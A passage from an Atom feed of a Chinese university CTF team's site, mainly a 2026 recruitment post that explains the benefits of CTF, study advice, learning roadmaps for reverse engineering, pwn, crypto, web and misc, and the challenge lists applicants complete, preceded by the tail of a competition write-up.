expect</span><br></pre></td></tr></table></figure><p>其中第 1 个数字对应 expect &#x3D; 3 ，第 2 个对应 expect&#x3D;4 ，以此类推，直接暴力查找逆元即可。</p><p>最后找到这十六个数是</p><figure class="highlight accesslog"><table><tr><td class="code"><pre><span class="line"><span class="string">[58, 302, 249, 192, 14, 2, 236, 258, 148, 312, 225, 316, 366, 101, 153, 188]</span></span><br></pre></td></tr></table></figure><p>直接输入会发现嵌套层数过多，无法在有限时间内验算出来，只好删掉演算直接输出 <code>flag</code> 。</p>]]>
    </content>
    <id>https://bitctf.cn/community/archives/di-qi-jie-qiang-wang-ni-tai-fang-yu-guo-ji-jing-ying-tiao-zhan-sai-jue-sai-wp/</id>
    <link href="https://bitctf.cn/community/archives/di-qi-jie-qiang-wang-ni-tai-fang-yu-guo-ji-jing-ying-tiao-zhan-sai-jue-sai-wp/"/>
    <published>2025-02-02T11:07:36.000Z</published>
    <summary>初赛 Misc ezflag 打开流量包，发现有两个包里面内容可以组成一个压缩包 把得到的压缩包里面的flag.zip解压出来，发现其实是PNG图片 PvZ 打开压缩包看到给了一张植物大战僵尸的游戏截图，还有一个txt</summary>
    <title>第七届“强网”拟态防御国际精英挑战赛决赛WP</title>
    <updated>2025-02-02T11:07:36.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>BITs2Sys</name>
    </author>
    <category term="Announcement" scheme="https://bitctf.cn/community/categories/announcement/"/>
    <category term="招新" scheme="https://bitctf.cn/community/tags/recruitment/"/>
    <content>
      <![CDATA[<h1 id="BITs2Sys-2026-招新计划"><a href="#BITs2Sys-2026-招新计划" class="headerlink" title="BITs2Sys 2026 招新计划"></a>BITs2Sys 2026 招新计划</h1><h2 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h2><h3 id="学CTF有哪些好处？"><a href="#学CTF有哪些好处？" class="headerlink" title="学CTF有哪些好处？"></a>学CTF有哪些好处？</h3><ul><li>综测和竞赛加分：CTF中的大型比赛往往是省市级别的，都能有不错的综测加分。如果取得了名次，更是有在竞赛保研中获得加分的机会。比如在我们学校举办的ISCC里面获奖，就能有丰厚的竞赛加分。</li><li>就业竞争力的提升：很多CTF比赛是由企业举办的，比如字节跳动举办的ByteCTF、腾讯举办的TCTF，如果在里面取得优异成绩就可以获得直通面试的资格。另外，在很多公司的岗位要求里都写了，有CTF经验优先。这也体现了企业对CTFer的青睐。而且，学习CTF的过程本身就是对自身能力提升的过程。CTF中用到的知识，很多都是与工作生产息息相关的，比如说Web渗透，代码审计，软件逆向，红蓝攻防等。在CTF的某一方向深入发展，能够为找到一份好工作打下基础。如果在比赛中取得了不错的成绩，又给自己找到了实习和各种项目，那本科就业的竞争力不一定比研究生差，如果是研究生那更是锦上添花。</li><li>学习能力的提升：当你进入CTF的学习后就会有很多问题。我应该学什么？我应该怎么学？我应该学到什么程度？这个到底要不要先学？有没有什么好的资料？这个课和那个课到底看哪个？而解决这些问题的过程，对你的自学能力会有极大的提升。与学校课程不同，CTF没有课本，也没有学习指导，也没有固定的老师，一切都不是按部就班的。整个学习的过程都由你自己全权组织。这种自学能力会让你受益无穷。</li><li>人脉的扩展：在学习CTF的过程中，你会认识很多人。除了自己学校的学长学姐，还有在各种比赛各种群里面认识的各种网友。他们可能是萌新，也可能是大佬，不过一般都比较友善。你可以与他们讨论问题，也可以讨教学习路线，甚至还能让他们帮你介绍工作。总之，多水群，多交流，这样才能够减少信息差。</li></ul><h3 id="‼️‼️我适合学CTF吗？‼️‼️"><a href="#‼️‼️我适合学CTF吗？‼️‼️" class="headerlink" title="‼️‼️我适合学CTF吗？‼️‼️"></a>‼️‼️我适合学CTF吗？‼️‼️</h3><p><strong>和几乎所有其它领域一样，CTF的成功也是天赋和努力缺一不可。但说实话，网安领域最不缺的就是有天赋的人，有句很流行的话叫“天才只是见我的门槛”，虽然CTF还不至于只有天才才能入门，但一点点对计算机的天赋也是必要的。更重要的其实是努力，而不断的努力是需要长久的热爱来支撑的。我们招过专业排名数一数二的同学，既然能在学业上数一数二，可见他们有天赋，有努力，他们进来的时候觉得自己能在CTF中有一番成就，但学了一段时间后发现其实对CTF并不太感兴趣，也就放弃学习了。因此，各位同学最好能踏踏实实地深入学习一段时间（至少两个月），问问自己到底适不适合学这个，对CTF感不感兴趣，能不能坚持下去。</strong></p><h3 id="怎样学好CTF？"><a href="#怎样学好CTF？" class="headerlink" title="怎样学好CTF？"></a>怎样学好CTF？</h3><ul><li>选好方向：CTF里每个方向的侧重点不同，学习的内容差别也比较大。一开始可以每个方向都简单了解一下，最后再结合自己的兴趣和天赋做出选择。一般每个人选一到两个方向就可以了，大佬除外。</li><li>广搜信息：CTF的知识很少有成体系的完整课程，知识点一般都分布在各种文章和视频，所以要学会搜集信息。一般的社区有：博客园、先知社区、Freebuf、GitHub、CSDN等。视频课程除了b站以外，就是各种网络上各种机构的课程，有时候可以找到免费的资源，有时候可能需要付费。使用“魔法”的技能也必不可少。</li><li>学会提问：在提问之前，你需要先自己尝试解决问题（各种搜索引擎，各种AI），积累一些常见的问题原因，比如：是不是浏览器问题，是不是版本问题，是不是中英文问题等。提问时，要具体描述你的问题，包括你的预期目标，执行了什么代码或命令，你的环境，操作系统和软件的版本，问题的截图或代码等。</li><li>多交流：凡是有关计算机的学科，与人交流都是不可缺少的一环，否则就不会有社区了。有问题的话就要在思考的基础上多讨论，无论是题目，还是学习心得，甚至是环境配置。有时候一个人需要半天才能解决的问题，群友一句话就给你点通了。</li><li>好记性不如烂笔头：当天学的新知识要记笔记，想起来就要复盘一遍，这样才不容易遗忘，而且能让你的学习留下痕迹。可以学习使用在线笔记应用搭建自己的知识库，比如：思源笔记、notion等。</li></ul><h2 id="如何报名"><a href="#如何报名" class="headerlink" title="如何报名"></a>如何报名</h2><blockquote><p>请先认真阅读引言部分</p></blockquote><ol><li>填写报名问卷：<a href="https://docs.qq.com/form/page/DSUhGWWJGd1d0Z0xF">https://docs.qq.com/form/page/DSUhGWWJGd1d0Z0xF</a></li><li>按照报名问卷结束页所写，加入QQ群，仔细阅读群公告</li></ol><blockquote><p><strong>任何问题，都可以直接在群里提问，通常会在24小时内得到回复</strong>。</p></blockquote><h2 id="学习资料"><a href="#学习资料" class="headerlink" title="学习资料"></a>学习资料</h2><h3 id="CTF入门"><a href="#CTF入门" class="headerlink" title="CTF入门"></a>CTF入门</h3><ul><li><a href="https://ctf-wiki.org/">CTF-wiki</a></li><li><a href="https://hello-ctf.com/hc-start/">Hello CTF</a></li><li><a href="https://github.com/firmianay/CTF-All-In-One">CTF-All-in-One</a></li><li><a href="https://pan.baidu.com/s/17RW8XK2sBIA8VIvwehoKCw?pwd=7885">从0到1：CTFer成长之路</a></li></ul><h3 id="练习平台"><a href="#练习平台" class="headerlink" title="练习平台"></a>练习平台</h3><ul><li><a href="https://www.ctfhub.com/">CTFHub</a></li><li><a href="https://buuoj.cn/">BUUOJ</a></li><li><a href="https://www.nssctf.cn/index">NSSCTF</a></li><li><a href="https://adworld.xctf.org.cn/">攻防世界</a></li><li><a href="https://pwnable.kr/">pwnable.kr</a></li><li><a href="https://pwnable.tw/">pwnable.tw</a></li><li><a href="https://pwn.college/">pwn.college</a></li></ul><h2 id="学习路线"><a href="#学习路线" class="headerlink" title="学习路线"></a>学习路线</h2><blockquote><p>[!IMPORTANT]</p><p>仅供参考</p></blockquote><h3 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h3><p>逆向题目侧重于考察代码审计和逻辑能力。</p><p>常见的逆向题目包括了maze问题（迷宫），z3约束问题，常规的加密算法等等，可以先在B站上观看星盟的逆向视频（<a href="https://www.bilibili.com/video/BV1bR4y197nE%EF%BC%89%EF%BC%8C%E5%AD%A6%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E5%86%85%E5%AE%B9%EF%BC%8C%E5%8C%85%E6%8B%AC%E9%9D%99%E6%80%81%E8%B0%83%E8%AF%95%E3%80%81%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E3%80%81%E8%84%B1%E5%A3%B3%E7%AD%89%E7%AD%89%EF%BC%88%E6%89%8B%E5%8A%A8%E8%84%B1%E5%A3%B3%E6%9A%82%E6%97%B6%E4%B8%8D%E8%A6%81%E6%B1%82%EF%BC%89%E3%80%82">https://www.bilibili.com/video/BV1bR4y197nE），学一些基础内容，包括静态调试、动态调试、脱壳等等（手动脱壳暂时不要求）。</a></p><p>在学会这些基础知识后，可以多做一些简单的逆向题，并了解一些加密算法，遇到时可以较快的识别。</p><p>完成这些后可以去尝试不同编程语言的逆向，如C#（需要使用dnspy)、Rust、Go逆向，可以先自行编写这类程序然后去逆向。</p><p>Reverse中还包括了Mobile逆向，主要分为三类：Android逆向，HarmonyOS逆向（较少）以及iOS逆向（非常少）。常见的工具包括jeb、jadx以及夜神模拟器等，逆向时需要审计Java代码，有时还需要去查看Native层代码，整体难度不会太高。</p><h3 id="PWN"><a href="#PWN" class="headerlink" title="PWN"></a>PWN</h3><p>关于PWN的内容和学习可以参考<a href="https://ctf-wiki.org/pwn/linux/user-mode/environment/">CTF Wiki Pwn部分</a></p><p>前置知识需要：C语言&#x2F;汇编(x86_64)基础，Linux基础，一点点逆向基础</p><p>做题环境需要Linux环境，Windows下需要安装Linux虚拟机(Ubuntu&#x2F;kali，熟悉的可以用自己喜欢的)</p><ul><li>汇编入门参考：<a href="https://hello-ctf.com/hc-pwn/Asm_x86/#32">Hello CTF</a>、<a href="https://pan.baidu.com/s/1G2zA7R5_jIN-JBhZcgzYqw?pwd=JW4z">王爽《汇编语言》</a> （适合入门自学，虽然是16位汇编但原理是一样的）</li><li>C语言参考：<a href="https://gcc.gnu.org/onlinedocs/gcc/">gcc相关的手册</a>（C语言pwn题一般用的编译器是gcc）、<a href="https://en.cppreference.com/w/c">C Reference</a></li><li>Linux：建议阅读<a href="https://github.com/jlevy/the-art-of-command-line">the art of commandline</a>，熟悉 <code>coreutils</code>、<code>binutils</code>、<code>vim</code>等工具的使用</li></ul><blockquote><p>（非必要）建议阅读：<a href="https://github.com/apachecn/huazhang-cs-books/blob/master/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%B3%BB%E7%BB%9F.pdf">CSAPP</a>前4章&#x2F;第二部分、<a href="https://missing-semester-cn.github.io/">Missing Semester</a>的课件</p></blockquote><p>在了解汇编&#x2F;C语言基础后，初学者可以先从栈溢出，格式化字符串开始学习。栈溢出的资料可以参考<a href="https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/">CTF Wiki</a>和<a href="https://hello-ctf.com/hc-pwn/Stack_Overflow/">Hello CTF</a>的。</p><ul><li>本地：<br>配合<a href="https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/">ROP</a>尝试在本地打通题目，get shell</li><li>远程：<br>学习 <code>nc</code>命令及一些基础Linux命令(<code>ls</code>,<code>cat</code>)的用法，拿到远程的flag</li><li>进阶：<br>进阶的内容有复杂shellcode编写，sandbox(沙箱)，heap(堆漏洞)，multi-arch(不同架构的汇编)，kernel pwn(内核漏洞利用)等。和逆向结合有vm pwn(虚拟机pwn)等。建议先从ROP学起，打牢基础在进行下一步的学习</li></ul><h3 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h3><p>密码学（Cryptography）一般可分为古典密码学和现代密码学。</p><p>古典密码学的题目一般依靠个人对加密方式的熟悉程度，没有普遍的技巧，对数学水平要求不高，要求个人的积累。</p><p>而现代密码学的题目分为对称加密和非对称加密，对数学水平的要求较高，这里整理了一部分资料供学习参考：<br>链接: <a href="https://pan.baidu.com/s/1fv8ldbu4xPhP5HsWv4IE1A?pwd=3w82">https://pan.baidu.com/s/1fv8ldbu4xPhP5HsWv4IE1A?pwd=3w82</a></p><p>推荐几个大佬的博客:</p><p><a href="https://lazzzaro.github.io/">la佬</a></p><p><a href="https://tangcuxiaojikuai.xyz/">糖醋小鸡块</a></p><p><a href="https://dexterjie.github.io/">星盟密码手</a></p><h3 id="Web"><a href="#Web" class="headerlink" title="Web"></a>Web</h3><p>web主要考察php、python、java、nodejs、.net等。下面给出php、python、java的学习路线。建议先以php入门，了解常见web漏洞，再简单过一遍python，了解ssti等漏洞，最后着重学习Java安全。后面的考核也会更注重Java。（因为好久没看php+python了，忘得差不多了…）</p><p>学习时可以采用这种方法：比如sql注入，先简单学习一下sql语法，接着搜索sql注入，看一些入门的文章；对漏洞大致有个了解后，就可以去各种ctf平台找题；题目要是一点思路没有，就直接去看wp，硬想没什么用，一开始就是需要看wp来积累；做题或学习后做好笔记，形成自己的知识库</p><p>要求：简单了解 &lt; 了解 &lt; 熟悉 &lt; 深入了解 &lt; 掌握</p><h4 id="基础知识"><a href="#基础知识" class="headerlink" title="基础知识"></a>基础知识</h4><p>什么是Github：了解怎么使用Github</p><p>什么是TCP&#x2F;IP协议：简单了解网络是怎么连通的、简单了解三次握手四次挥手、了解代理、了解证书</p><p>什么是HTTP协议：了解请求与相应的格式与内容、了解响应状态码、了解HTTP1.1&#x2F;2&#x2F;3、了解HTTPS是为了解决什么问题产生的</p><p>浏览器是怎么跑起来的：熟悉F12调试器的功能、了解Hackbar及其原理、了解浏览器代理及其原理</p><p>什么是Websocket：了解什么是Web Socket</p><p><a href="https://lamaper.github.io/posts/web-study/#%E4%B8%80%E5%9F%BA%E6%9C%AC%E7%BD%91%E7%BB%9C%E7%9F%A5%E8%AF%86">参考阅读: 一些基础知识</a></p><p>什么是Docker：熟悉Docker命令、掌握Dockerfile的编写与修改、掌握Docker compose文件的编写与修改</p><p>什么是中间件：了解反向代理、了解NGINX与Apache</p><p>什么是数据库：了解关系型数据库的定义、熟悉Mysql和Sqlite语法、了解redis是为了解决什么问题产生的、了解redis原理</p><p>什么是前后端：了解当先前后端分离的开发模式</p><p>什么是CVE：了解CVE漏洞及一些漏洞平台、熟悉如何在网页上搜索CVE漏洞相关PoC</p><h4 id="Python"><a href="#Python" class="headerlink" title="Python"></a>Python</h4><h5 id="Python基础"><a href="#Python基础" class="headerlink" title="Python基础"></a>Python基础</h5><p>什么是面向对象：了解面向对象的基本特性（封装、多态、继承、抽象）</p><h5 id="模板引擎与SSTI"><a href="#模板引擎与SSTI" class="headerlink" title="模板引擎与SSTI"></a>模板引擎与SSTI</h5><p>什么是Python：掌握Python基础语法、熟悉Python特性（万物皆对象、魔术属性、魔术方法）</p><p>怎么用Python搭建一个HTTP服务：熟悉用python启动HTTP服务器、深入了解Flask框架及其特点</p><p>什么是模板引擎：深入了解模板引擎及其渲染逻辑和语法、深入了解Jinja2及其特性</p><p>什么是SSTI：掌握SSTI基础方法与payload（能自己构造payload）</p><p><a href="https://lamaper.github.io/posts/py-ssti/">参考阅读: Python SSTI</a></p><p>什么是Python Web：熟悉Django、Tornado框架</p><p><a href="https://lamaper.github.io/posts/flask-think/">参考阅读: Flask 安全研究</a></p><p>什么是内存马：了解木马、掌握内存马的原理、熟悉内存马构造方法</p><p><a href="https://lamaper.github.io/posts/fastapi-trojan/">参考阅读: FastAPI与jinja2结合的内存马</a></p><h5 id="沙箱逃逸"><a href="#沙箱逃逸" class="headerlink" title="沙箱逃逸"></a>沙箱逃逸</h5><p>什么是沙箱：掌握沙箱的基本原理、掌握Python底层原理（栈帧、解释器原理、魔术属性与方法等）</p><p>什么是沙箱逃逸：深入了解PyJail</p><p><a href="https://dummykitty.github.io/posts/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%95%E8%BF%87/">参考阅读: PyJail合集</a></p><h5 id="反序列化"><a href="#反序列化" class="headerlink" title="反序列化"></a>反序列化</h5><p>什么是Pickle：掌握反序列化的定义、熟悉Pickle序列化与反序列化原理与机制</p><h5 id="原型链污染"><a href="#原型链污染" class="headerlink" title="原型链污染"></a>原型链污染</h5><p>什么是merge函数</p><p><a href="https://www.cnblogs.com/Article-kelp/p/17068716.html">参考阅读: Python原型链污染</a></p><h4 id="Nodejs"><a href="#Nodejs" class="headerlink" title="Nodejs"></a>Nodejs</h4><h5 id="Node基础"><a href="#Node基础" class="headerlink" title="Node基础"></a>Node基础</h5><p>什么是Nodejs：了解Nodejs 产生的时代意义（为了解决什么问题）、了解ES、了解TypeScript</p><p>什么是npm：熟悉npm包管理工具、掌握本地运行Nodejs项目的能力</p><h5 id="原型链污染-1"><a href="#原型链污染-1" class="headerlink" title="原型链污染"></a>原型链污染</h5><p>什么是原型链：熟悉proto机制、掌握原型链污染的基本套路</p><h5 id="沙箱逃逸-1"><a href="#沙箱逃逸-1" class="headerlink" title="沙箱逃逸"></a>沙箱逃逸</h5><p>什么是沙箱逃逸：熟悉vm沙箱逃逸方法、熟悉vm2沙箱逃逸方法、掌握沙箱逃逸的思路及其原理</p><h5 id="NextJS"><a href="#NextJS" class="headerlink" title="NextJS"></a>NextJS</h5><p>什么是React：了解React原理与解决了什么问题、了解NextJS、了解RSC、了解Flight协议</p><p>什么是Thenable：了解JavaScript的回调机制、了解Promise对象、了解Thenable机制</p><p>什么是React2Shell：熟悉CVE-2025-55182的原理、了解CVE-2025-55183，CVE-2025-55184</p><p><a href="https://lamaper.github.io/posts/react2shell/">参考阅读: 从0开始的React2Shell</a></p><h4 id="Java"><a href="#Java" class="headerlink" title="Java"></a>Java</h4><p><a href="https://github.com/1diot9/MyJavaSecStudy">1diot9&#x2F;MyJavaSecStudy: 在Java安全学习过程中的笔记和代码</a></p><p>这是我自己写的Java学习路线，推荐一下，入门的话可以先学分割线以上的部分，能在README中看到分割线。大家对里面有什么问题直接在群里问就行，觉得有用的话，请给我一个star⭐，谢谢~</p><p><a href="https://pan.baidu.com/s/1qpcBvuIbuumtAnPBh2jaIg?pwd=bfnd">https://pan.baidu.com/s/1qpcBvuIbuumtAnPBh2jaIg?pwd=bfnd</a> 提取码: bfnd</p><p>这是早期写的Java知识图谱，比较简陋一些，可以简单看一眼</p><blockquote><h4 id="php-python"><a href="#php-python" class="headerlink" title="php + python"></a>php + python</h4><p>php + python 的知识图谱：<a href="https://pan.baidu.com/s/13dPuH_P9jHwHKaZcUtmAHQ?pwd=mi3a">https://pan.baidu.com/s/13dPuH_P9jHwHKaZcUtmAHQ?pwd&#x3D;mi3a</a>提取码：mi3a</p><p>学习路线可以参考知识图谱。不过知识图谱的末尾部分并不完整，需要你通过学习来补全，形成自己的知识体系，这也是Web的考核要求之一。</p><p>另外 python 也可以参考这个：<a href="https://github.com/bit4woo/python_sec">bit4woo&#x2F;python_sec: python安全和代码审计相关资料收集 resource collection of python security and code review</a></p></blockquote><h3 id="Misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h3><p>Misc方向可以细分为很多领域，如：隐写术、流量分析、数字取证、社会工程学、算法编程等等。</p><p>此外，有时AI和区块链也会纳入Misc方向。</p><p>大部分中低难度比赛对于隐写、取证、信息搜集方面的考查较多，且简单的题目以对工具的使用为主，不涉及繁杂的代码编写。对于计算机零基础的同学，可以考虑选择从这个方向开始学习。</p><p>作为入门，可以阅读CTF-Wiki、Hello CTF，观看从0到1教学视频中的Misc方向，了解各个细分领域是什么，学习一些基础的隐写方法、编码算法、流量分析方法、开源情报收集技巧等等。</p><p>作为提高，可以选择数字取证、AI、区块链等方向进行深入研究。</p><blockquote><p>脑洞较大且喜欢猜谜的同学非常非常非常适合这个方向。</p></blockquote><h2 id="考核要求"><a href="#考核要求" class="headerlink" title="考核要求"></a>考核要求</h2><blockquote><p>[!IMPORTANT]</p><ul><li>不限年级、不限专业。</li><li>题目不必独立完成，Google &#x2F; 群里讨论 都可以，但是一定要自己理解后做出，不能直接照抄。</li><li>所有解答题目<strong>必须</strong>写Writeup，格式不限，需体现思考过程、解题过程。</li><li>完成考核要求的同学，请主动联系各方向负责人进行面试，如果通过就可以加入我们啦。</li><li>选拔划分方向仅供不明确自己兴趣爱好的同学参考，如果你对多个方向感兴趣，可以联系负责人。无论通过何种选拔方式进入战队，以后均可自由选择自己感兴趣的方向，没有任何限制。</li><li>以下各方向选择任意一个即可。</li></ul></blockquote><h3 id="Reverse-1"><a href="#Reverse-1" class="headerlink" title="Reverse"></a>Reverse</h3><p>1.完成链接中的常见题型：<a href="https://pan.baidu.com/s/1veAw6D_AYxACV0ENrBo3Ew?pwd=cckp">https://pan.baidu.com/s/1veAw6D_AYxACV0ENrBo3Ew?pwd=cckp</a></p><p>2.完成下列题目： <a href="https://pan.baidu.com/s/1in_5a5uVmWGrDeCGOBghmA?pwd=22za">https://pan.baidu.com/s/1in_5a5uVmWGrDeCGOBghmA?pwd=22za</a></p><h3 id="PWN-1"><a href="#PWN-1" class="headerlink" title="PWN"></a>PWN</h3><p>完成以下题目，撰写writeup</p><ol><li>基础ROP<ul><li><a href="https://buuoj.cn/challenges#rip">BUUCTF rip</a></li><li><a href="https://buuoj.cn/challenges#jarvisoj_level0">BUUCTF jarvisoj_level0</a></li><li><a href="https://www.nssctf.cn/problem/2934">NSSCTF HNCTF2022 ret2shellcode</a> ret2shellcode</li><li><a href="https://www.nssctf.cn/problem/3338">NSSCTF MoeCTF2023 ret2libc</a> ret2libc</li></ul></li><li>格式化字符串<ul><li><a href="https://www.nssctf.cn/problem/2932">NSSCTF HNCTF2022 fmtstrre</a></li><li><a href="https://www.nssctf.cn/problem/3332">NSSCTF HNCTF2022 babyfmt</a></li></ul></li><li>进阶（不强制要求）<ul><li><a href="https://pwnable.tw/challenge/#2">pwnable orw</a> 初级sandbox(orw)</li><li><a href="https://www.nssctf.cn/problem/2963">NSSCTF HNCTF2022 ret2csu</a> ret2csu</li></ul></li></ol><p>如果有兴趣，可以继续尝试HNCTF2022的其他题目&#x2F;BUUCTF第一页的题，或学习system call(系统调用)&#x2F;sandbox相关的知识</p><h3 id="Crypto-1"><a href="#Crypto-1" class="headerlink" title="Crypto"></a>Crypto</h3><p>1.完成BUUOJ中古典密码题目任意15道。</p><p>2.完成NSSCTF中RSA入门题9道（已打包在资料中）。</p><p>3.完成challenge综合题6道（已打包在资料中）。</p><h3 id="Web-1"><a href="#Web-1" class="headerlink" title="Web"></a>Web</h3><ol><li>php+python知识图谱里的相关题目完成，不用写wp，之后面试的时候可能问</li><li>完善知识图谱，体现自己的学习过程</li><li>完成下列综合题中的任意2道，并撰写wp：</li></ol><ul><li>BUU—[ZJCTF 2019]NiZhuanSiWei</li><li>攻防世界—warmup</li><li>攻防世界—unfinish</li><li>攻防世界—fakebook</li><li>攻防世界—bug</li><li>攻防世界—isc-07</li></ul><ol start="4"><li>完成下面的Java题中的任意2道，并撰写wp：</li></ol><ul><li>NSSCTF-[羊城杯 2020]a_piece_of_java</li><li>NSSCTF-[CISCN 2023 初赛]DeserBug</li><li>NSSCTF-[CISCN 2023 华北]normal_snake</li><li>NSSCTF-[MTCTF 2022]easyjava</li></ul><ol start="5"><li>补充：如果某个做题网站挂了，可以去其他网站搜一下有没有一样的题目，或者直接下载附件来本地复现</li></ol><h3 id="Misc-1"><a href="#Misc-1" class="headerlink" title="Misc"></a>Misc</h3><p>以下四个方向任意选择一个即可。</p><ol><li>Misc基础<ol><li>掌握常见隐写方法和编码方法。</li><li>NSSCTF中带有 <code>图片隐写</code>或 <code>音视频隐写</code>或 <code>编码分析</code>或 <code>压缩包分析</code>或 <code>文档隐写</code>标签的Misc题目任意30道。</li></ol></li><li>流量分析<ol><li>掌握计算机网络基础知识。</li><li>NSSCTF中带有 <code>流量分析</code>标签的Misc题目任意25道。</li></ol></li><li>数字取证<ol><li>掌握数字取证的常用软件，包括但不限于volatility2、volatility3等。</li><li>NSSCTF中带有 <code>电子取证</code>标签的Misc题目任意15道（一道题的多个小问整体算一道题）。</li></ol></li><li>区块链<ol><li>掌握Solidity编程，了解Rust编程。</li><li><a href="https://ethernaut.openzeppelin.com/">Ethernaut靶场</a>前19题。</li><li>NSSCTF中ETH题目任意4题。</li></ol></li></ol><h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><p>BITs2Sys 主页：<a href="https://bitctf.cn/">https://bitctf.cn/</a></p><p>BIT CTF Community 主页：<a href="https://bitctf.cn/community/">https://bitctf.cn/community/</a></p><p>BIT CTF Community QQ群：912819172</p>]]>
    </content>
    <id>https://bitctf.cn/community/archives/bits2sys-2026-zhao-xin-ji-hua/</id>
    <link href="https://bitctf.cn/community/archives/bits2sys-2026-zhao-xin-ji-hua/"/>
    <published>2025-02-02T10:49:00.000Z</published>
    <summary>BITs2Sys 2026 招新计划 引言 学CTF有哪些好处？ 综测和竞赛加分：CTF中的大型比赛往往是省市级别的，都能有不错的综测加分。如果取得了名次，更是有在竞赛保研中获得加分的机会。比如在我们学校举办的ISCC里面获奖，就能有丰厚的竞赛加分。 就业竞争力的提升：很多CTF比赛是由企业举办的，</summary>
    <title>BITs2Sys 2026 招新计划</title>
    <updated>2026-03-11T03:04:44.000Z</updated>
  </entry>
</feed>
